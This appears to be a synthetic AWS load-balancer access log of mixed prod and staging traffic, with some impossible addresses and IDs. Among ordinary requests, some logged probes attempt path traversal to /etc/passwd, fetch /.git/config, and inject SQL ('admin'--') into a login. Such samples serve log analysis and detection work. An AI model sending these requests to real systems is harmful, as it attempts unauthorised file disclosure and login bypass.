10.0.91.49:443 0.065087 0.217175 0.053128 404 404 102 10950 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bca7-b34e8ca12e4d440892cf4e66" "prod-web-alb.example.com" "-" 2 2024-11-01T00:21:43.744814Z "forward" "-" "-" "10.0.91.49:443" "404" "-" "-" +https 2024-11-01T00:21:45.731109Z staging-alb 67.10.226.204:58123 41.72.1.250:443 0.044436 0.214669 0.021454 404 404 453 5027 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bca9-96df1f4ba0cd4dc99bf60c55" "staging-alb.example.com" "-" 2 2024-11-01T00:21:45.731109Z "forward" "-" "-" "41.72.1.250:443" "404" "-" "-" +https 2024-11-01T00:21:46.880527Z prod-api-alb 188.11.181.78:45685 10.0.253.175:443 0.015053 0.469550 0.048243 200 200 139 6683 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcaa-8c9bad5e5d074f45834b6563" "prod-api-alb.example.com" "-" 10 2024-11-01T00:21:46.880527Z "forward" "-" "-" "10.0.253.175:443" "200" "-" "-" +https 2024-11-01T00:21:47.347892Z prod-api-alb 234.96.81.158:20452 10.0.1.236:443 0.056561 0.255375 0.075718 404 404 970 9255 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcab-596796ee365b4c50a27aab59" "prod-api-alb.example.com" "-" 9 2024-11-01T00:21:47.347892Z "forward" "-" "-" "10.0.1.236:443" "404" "-" "-" +http 2024-11-01T00:21:49.094076Z staging-alb 193.27.228.87:21808 127.144.92.67:443 0.062446 0.121617 0.018092 302 302 130 8583 "GET /.git/config HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcad-e1fc00e58ba64ca1afb4c64a" "-" "-" 3 2024-11-01T00:21:49.094076Z "forward" "-" "-" "127.144.92.67:443" "302" "-" "-" +https 2024-11-01T00:21:49.957499Z prod-web-alb 51.13.30.146:63427 10.0.63.33:443 0.097327 0.228425 0.069939 200 200 80 9417 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcad-026c1488f88b4e3fb059e39b" "prod-web-alb.example.com" "-" 5 2024-11-01T00:21:49.957499Z "forward" "-" "-" "10.0.63.33:443" "200" "-" "-" +https 2024-11-01T00:21:51.773407Z prod-api-alb 185.181.166.125:57612 10.0.57.209:443 0.073310 0.071402 0.045659 302 302 621 1165 "POST /wp-admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcaf-d6673684a951468c8eb8d393" "-" "-" 1 2024-11-01T00:21:51.773407Z "forward" "-" "-" "10.0.57.209:443" "302" "-" "-" +https 2024-11-01T00:21:52.108817Z prod-web-alb 166.107.55.173:43210 10.0.221.191:443 0.077860 0.423507 0.005221 200 200 432 9418 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcb0-34740dccf90541379caa6ac0" "prod-web-alb.example.com" "-" 6 2024-11-01T00:21:52.108817Z "forward" "-" "-" "10.0.221.191:443" "200" "-" "-" +http 2024-11-01T00:21:53.321596Z staging-alb 210.164.166.68:44412 223.13.242.128:8080 0.103497 0.369568 0.056172 200 200 985 2585 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcb1-39df426e01344656a30d34b2" "staging-alb.example.com" "-" 1 2024-11-01T00:21:53.321596Z "forward" "-" "-" "223.13.242.128:8080" "200" "-" "-" +https 2024-11-01T00:21:54.427585Z staging-alb 45.155.205.66:29635 95.192.161.208:443 0.109369 0.310554 0.114126 403 403 913 6670 "PUT /debug/pprof HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcb2-c8d150e6758e4f8db4cbdcec" "-" "-" 4 2024-11-01T00:21:54.427585Z "forward" "-" "-" "95.192.161.208:443" "403" "-" "-" +https 2024-11-01T00:21:56.092214Z prod-web-alb 37.87.135.20:62728 10.0.111.2:443 0.028378 0.193133 0.032542 301 301 216 7528 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcb4-a2ff93d255224ab087b8619d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:21:56.092214Z "forward" "-" "-" "10.0.111.2:443" "301" "-" "-" +https 2024-11-01T00:21:56.341592Z prod-api-alb 27.197.124.110:37373 10.0.91.83:443 0.080782 0.278626 0.058087 301 301 512 14108 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcb4-1a63e6e64d714367ab6cd379" "prod-api-alb.example.com" "-" 5 2024-11-01T00:21:56.341592Z "forward" "-" "-" "10.0.91.83:443" "301" "-" "-" +https 2024-11-01T00:21:56.791447Z staging-alb 171.226.219.251:37063 137.91.48.26:80 0.044532 0.351664 0.139832 302 302 467 11775 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcb4-d3a10a94b24146e08bdba0b2" "staging-alb.example.com" "-" 8 2024-11-01T00:21:56.791447Z "forward" "-" "-" "137.91.48.26:80" "302" "-" "-" +https 2024-11-01T00:21:58.141814Z prod-web-alb 193.27.228.181:42198 10.0.81.141:443 0.044706 0.313225 0.093390 404 404 69 10151 "GET /static/../../secret HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcb6-3acf17bccb9e408f8e6d3ac4" "-" "-" 2 2024-11-01T00:21:58.141814Z "forward" "-" "-" "10.0.81.141:443" "404" "-" "-" +https 2024-11-01T00:21:59.192895Z prod-api-alb 211.96.44.225:53194 10.0.92.182:443 0.061082 0.037131 0.077360 404 404 540 5380 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcb7-3548150d10ee405194609d43" "prod-api-alb.example.com" "-" 8 2024-11-01T00:21:59.192895Z "forward" "-" "-" "10.0.92.182:443" "404" "-" "-" +https 2024-11-01T00:22:00.015258Z staging-alb 193.27.228.181:44663 227.199.57.3:443 0.144694 0.195609 0.128664 403 403 658 11262 "GET /../../../etc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcb8-4542909f40e64bfbb97066da" "-" "-" 7 2024-11-01T00:22:00.015258Z "forward" "-" "-" "227.199.57.3:443" "403" "-" "-" +https 2024-11-01T00:22:00.781435Z staging-alb 235.208.42.95:35577 94.133.201.120:8080 0.055677 0.322725 0.144110 200 200 381 9682 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcb8-5809535f6a5443c79acb214c" "staging-alb.example.com" "-" 0 2024-11-01T00:22:00.781435Z "forward" "-" "-" "94.133.201.120:8080" "200" "-" "-" +https 2024-11-01T00:22:01.852116Z staging-alb 193.174.212.250:36173 185.211.143.136:443 0.126602 0.421919 0.114801 200 200 268 10838 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcb9-e63dced8c5ba4d57af86688a" "staging-alb.example.com" "-" 9 2024-11-01T00:22:01.852116Z "forward" "-" "-" "185.211.143.136:443" "200" "-" "-" +https 2024-11-01T00:22:02.375665Z prod-web-alb 67.66.104.202:58312 10.0.70.38:443 0.009293 0.146589 0.043242 200 200 453 14013 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcba-f09a57dba51247b3971352ed" "prod-web-alb.example.com" "-" 6 2024-11-01T00:22:02.375665Z "forward" "-" "-" "10.0.70.38:443" "200" "-" "-" +https 2024-11-01T00:22:03.898624Z prod-web-alb 147.3.165.29:52301 10.0.25.201:443 0.080377 0.195309 0.057474 200 200 771 12653 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcbb-9a4682a242c94333920e445d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:22:03.898624Z "forward" "-" "-" "10.0.25.201:443" "200" "-" "-" +https 2024-11-01T00:22:04.409494Z prod-web-alb 244.8.183.77:64740 10.0.41.6:443 0.015824 0.100544 0.046148 302 302 36 6180 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcbc-d55be63b6ce84b42a1f89dc5" "prod-web-alb.example.com" "-" 9 2024-11-01T00:22:04.409494Z "forward" "-" "-" "10.0.41.6:443" "302" "-" "-" +https 2024-11-01T00:22:04.750654Z prod-api-alb 213.220.139.76:31474 10.0.59.107:443 0.086574 0.320971 0.075057 301 301 624 14141 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcbc-687df0f0c44e492f868eced9" "prod-api-alb.example.com" "-" 10 2024-11-01T00:22:04.750654Z "forward" "-" "-" "10.0.59.107:443" "301" "-" "-" +http 2024-11-01T00:22:06.151206Z staging-alb 252.73.163.90:28206 7.194.100.1:8080 0.024306 0.084898 0.086150 200 200 580 14214 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcbe-6549f127495a487fadd1a3ba" "staging-alb.example.com" "-" 2 2024-11-01T00:22:06.151206Z "forward" "-" "-" "7.194.100.1:8080" "200" "-" "-" +http 2024-11-01T00:22:07.396034Z staging-alb 170.47.222.227:26918 167.52.35.83:8080 0.095679 0.503661 0.058145 404 404 245 3561 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcbf-fa1224d737d74973ba0e0e6c" "staging-alb.example.com" "-" 0 2024-11-01T00:22:07.396034Z "forward" "-" "-" "167.52.35.83:8080" "404" "-" "-" +http 2024-11-01T00:22:09.116763Z staging-alb 209.161.183.134:19565 34.44.110.17:443 0.078420 0.528966 0.065913 200 200 970 10307 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcc1-7182642a928a4376841127d8" "staging-alb.example.com" "-" 7 2024-11-01T00:22:09.116763Z "forward" "-" "-" "34.44.110.17:443" "200" "-" "-" +https 2024-11-01T00:22:10.745597Z prod-api-alb 174.83.187.225:57662 10.0.253.107:443 0.047283 0.394353 0.010277 200 200 16 447 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcc2-d186447015f948a9b2ae7d9a" "prod-api-alb.example.com" "-" 8 2024-11-01T00:22:10.745597Z "forward" "-" "-" "10.0.253.107:443" "200" "-" "-" +https 2024-11-01T00:22:11.958462Z prod-web-alb 85.40.172.212:38672 10.0.39.12:443 0.033576 0.468847 0.078175 200 200 942 7911 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcc3-f82a996066d34228a0e171a9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:22:11.958462Z "forward" "-" "-" "10.0.39.12:443" "200" "-" "-" +https 2024-11-01T00:22:13.569613Z prod-web-alb 107.182.210.144:34847 10.0.176.238:443 0.051783 0.175124 0.040001 200 200 573 5489 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcc5-3cd0eb5b99674c8cbe98f088" "prod-web-alb.example.com" "-" 7 2024-11-01T00:22:13.569613Z "forward" "-" "-" "10.0.176.238:443" "200" "-" "-" +https 2024-11-01T00:22:15.445042Z prod-api-alb 160.29.49.101:62477 10.0.122.150:443 0.052849 0.116847 0.049526 200 200 362 8677 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcc7-26b2df42fdbe4026ba8266e4" "prod-api-alb.example.com" "-" 0 2024-11-01T00:22:15.445042Z "forward" "-" "-" "10.0.122.150:443" "200" "-" "-" +https 2024-11-01T00:22:15.845513Z prod-api-alb 130.24.61.145:46390 10.0.142.41:443 0.077128 0.057039 0.015444 200 200 696 10655 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcc7-5db043eb310d440ab9cd3fb8" "prod-api-alb.example.com" "-" 8 2024-11-01T00:22:15.845513Z "forward" "-" "-" "10.0.142.41:443" "200" "-" "-" +https 2024-11-01T00:22:17.706385Z prod-api-alb 202.9.250.183:63074 10.0.25.111:443 0.016707 0.470791 0.001740 200 200 970 1610 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcc9-be14078c45304427a47beb80" "prod-api-alb.example.com" "-" 8 2024-11-01T00:22:17.706385Z "forward" "-" "-" "10.0.25.111:443" "200" "-" "-" +https 2024-11-01T00:22:19.609355Z prod-api-alb 193.27.228.181:58020 10.0.19.48:443 0.077129 0.455408 0.010428 404 404 641 2585 "GET /../../../etc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bccb-9e3138d61ac7490092958a39" "-" "-" 5 2024-11-01T00:22:19.609355Z "forward" "-" "-" "10.0.19.48:443" "404" "-" "-" +https 2024-11-01T00:22:20.122153Z prod-api-alb 59.92.210.239:19364 10.0.133.148:443 0.045476 0.392785 0.003358 302 302 766 3035 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bccc-adf18017a4534e079fe20c76" "prod-api-alb.example.com" "-" 1 2024-11-01T00:22:20.122153Z "forward" "-" "-" "10.0.133.148:443" "302" "-" "-" +https 2024-11-01T00:22:21.572409Z staging-alb 202.202.11.154:17172 241.239.98.210:8080 0.032940 0.569738 0.118255 301 301 517 8931 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bccd-072f6facd1c146079324f924" "staging-alb.example.com" "-" 8 2024-11-01T00:22:21.572409Z "forward" "-" "-" "241.239.98.210:8080" "301" "-" "-" +https 2024-11-01T00:22:23.378978Z prod-api-alb 142.72.64.252:45171 10.0.202.201:443 0.033754 0.453558 0.095890 302 302 719 13965 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bccf-a4568cd1c71b4a0db7638efe" "prod-api-alb.example.com" "-" 4 2024-11-01T00:22:23.378978Z "forward" "-" "-" "10.0.202.201:443" "302" "-" "-" +https 2024-11-01T00:22:24.062302Z prod-api-alb 5.11.100.129:41016 10.0.39.195:443 0.060546 0.217744 0.060891 200 200 14 9391 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcd0-096c511d85e443379fc96a99" "prod-api-alb.example.com" "-" 4 2024-11-01T00:22:24.062302Z "forward" "-" "-" "10.0.39.195:443" "200" "-" "-" +https 2024-11-01T00:22:25.902461Z staging-alb 137.249.213.99:20288 249.150.245.255:443 0.090931 0.373310 0.123796 302 302 804 4102 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcd1-049b140fd5e2417186f83ce3" "staging-alb.example.com" "-" 8 2024-11-01T00:22:25.902461Z "forward" "-" "-" "249.150.245.255:443" "302" "-" "-" +https 2024-11-01T00:22:27.828735Z staging-alb 188.252.241.111:31933 252.222.180.202:80 0.040444 0.710997 0.115366 302 302 881 3304 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcd3-93a6e9afe983400aa29cb100" "staging-alb.example.com" "-" 3 2024-11-01T00:22:27.828735Z "forward" "-" "-" "252.222.180.202:80" "302" "-" "-" +https 2024-11-01T00:22:29.568185Z prod-web-alb 182.47.156.57:51598 10.0.4.210:443 0.073779 0.209822 0.082203 200 200 42 13502 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcd5-e085d2b56deb416bb82876ec" "prod-web-alb.example.com" "-" 5 2024-11-01T00:22:29.568185Z "forward" "-" "-" "10.0.4.210:443" "200" "-" "-" +https 2024-11-01T00:22:30.393200Z prod-web-alb 45.196.208.73:22886 10.0.229.77:443 0.019124 0.395430 0.093582 200 200 939 4209 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcd6-bd8e972a60bf47f5af4356e0" "prod-web-alb.example.com" "-" 6 2024-11-01T00:22:30.393200Z "forward" "-" "-" "10.0.229.77:443" "200" "-" "-" +https 2024-11-01T00:22:31.175942Z prod-api-alb 198.235.47.228:33746 10.0.126.2:443 0.095618 0.448367 0.039980 200 200 731 1159 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcd7-76fec834643e41c8a2323160" "prod-api-alb.example.com" "-" 3 2024-11-01T00:22:31.175942Z "forward" "-" "-" "10.0.126.2:443" "200" "-" "-" +https 2024-11-01T00:22:31.655119Z prod-web-alb 160.71.78.128:60150 10.0.93.19:443 0.074591 0.475274 0.051057 302 302 65 10563 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcd7-6655faaabab34e42a8c93568" "prod-web-alb.example.com" "-" 0 2024-11-01T00:22:31.655119Z "forward" "-" "-" "10.0.93.19:443" "302" "-" "-" +https 2024-11-01T00:22:32.199587Z staging-alb 234.233.28.78:55815 33.95.209.73:443 0.026414 0.396805 0.129390 404 404 244 6675 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcd8-e486fef7e9f84b7cba12bb55" "staging-alb.example.com" "-" 8 2024-11-01T00:22:32.199587Z "forward" "-" "-" "33.95.209.73:443" "404" "-" "-" +https 2024-11-01T00:22:32.348422Z prod-api-alb 79.159.135.85:64834 10.0.74.201:443 0.080068 0.193858 0.041126 302 302 434 13756 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcd8-f1c76ffe4b7340e99029bd46" "prod-api-alb.example.com" "-" 8 2024-11-01T00:22:32.348422Z "forward" "-" "-" "10.0.74.201:443" "302" "-" "-" +https 2024-11-01T00:22:34.161604Z prod-web-alb 193.83.205.157:42749 10.0.34.88:443 0.031409 0.423041 0.090612 404 404 825 1977 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcda-fe37846f2b4b410aa5406a96" "prod-web-alb.example.com" "-" 4 2024-11-01T00:22:34.161604Z "forward" "-" "-" "10.0.34.88:443" "404" "-" "-" +https 2024-11-01T00:22:35.151054Z staging-alb 185.181.76.214:36463 58.5.213.95:8080 0.067692 0.563492 0.100175 500 500 603 280 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcdb-d1b0ca5a45f14ff28fb8ec74" "-" "-" 8 2024-11-01T00:22:35.151054Z "forward" "-" "-" "58.5.213.95:8080" "500" "-" "-" +https 2024-11-01T00:22:35.959471Z staging-alb 191.13.11.112:47586 191.73.83.179:8080 0.077042 0.151394 0.072077 301 301 423 1666 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcdb-75f4d56558c449a9b3e101a7" "staging-alb.example.com" "-" 3 2024-11-01T00:22:35.959471Z "forward" "-" "-" "191.73.83.179:8080" "301" "-" "-" +https 2024-11-01T00:22:36.603104Z prod-api-alb 87.221.158.147:61758 10.0.34.59:443 0.031584 0.481903 0.037774 200 200 443 3771 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcdc-0582b923da7e4bd299323082" "prod-api-alb.example.com" "-" 0 2024-11-01T00:22:36.603104Z 